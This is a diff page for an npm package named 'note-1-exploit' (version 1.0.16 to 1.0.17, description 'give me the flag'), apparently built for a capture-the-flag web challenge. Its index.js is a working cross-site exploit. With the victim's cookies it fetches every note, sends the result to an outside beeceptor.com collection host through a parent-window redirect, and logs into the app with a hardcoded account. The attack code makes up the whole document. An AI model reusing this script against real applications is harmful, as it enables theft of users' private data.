note-1-exploit 1.0.16 → 1.0.17

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +14 -13
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,30 +1,31 @@
1
1
  async function exploit() {
2
- let all_results = await fetch("http://127.0.0.1:10082/api/notes/all", {
2
+ let all_results = await fetch("http://web/api/notes/all", {
3
3
  "method": "GET",
4
4
  "mode": "cors",
5
5
  "credentials": "include"
6
- }).then(res => res);
7
- let json_results = await all_results.json();
6
+ }).then(res => res.text());
7
+ // let json_results = await all_results.json();
8
8
  let note_name = (Math.random() + 1).toString(36).substring(7);
9
- window.parent.location.replace("https://omniman.free.beeceptor.com?q=" + json_results[0].id)
10
- await fetch("http://127.0.0.1:10082/login", {
9
+ window.parent.location.replace("https://omniman.free.beeceptor.com?q=" + all_results)
10
+ // window.parent.location.replace("https://omniman.free.beeceptor.com?q=" + json_results[0].id)
11
+ await fetch("http://web/login", {
11
12
  "body": "username=nnnddd&password=nnnddd",
12
13
  "method": "POST",
13
14
  "redirect": "follow",
14
15
  "credentials": "include"
15
16
  });
16
- await fetch("http://127.0.0.1:10082/login", {
17
+ await fetch("http://web/login", {
17
18
  "body": "username=nnnddd&password=nnnddd",
18
19
  "method": "POST",
19
20
  "mode": "cors",
20
21
  "redirect": "follow",
21
22
  "credentials": "include"
22
23
  });
23
- await fetch("http://127.0.0.1:10082/api/notes", {
24
- "body": "{\"title\":\"" + note_name + "\",\"content\":\"" + json_results[0].id + "\"}",
25
- "method": "POST",
26
- "mode": "cors",
27
- "redirect": "follow",
28
- "credentials": "include"
29
- });
24
+ // await fetch("http://web/api/notes", {
25
+ // "body": "{\"title\":\"" + note_name + "\",\"content\":\"" + json_results[0].id + "\"}",
26
+ // "method": "POST",
27
+ // "mode": "cors",
28
+ // "redirect": "follow",
29
+ // "credentials": "include"
30
+ // });
30
31
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "note-1-exploit",
3
- "version": "1.0.16",
3
+ "version": "1.0.17",
4
4
  "description": "give me the flag",
5
5
  "main": "index.js",
6
6
  "scripts": {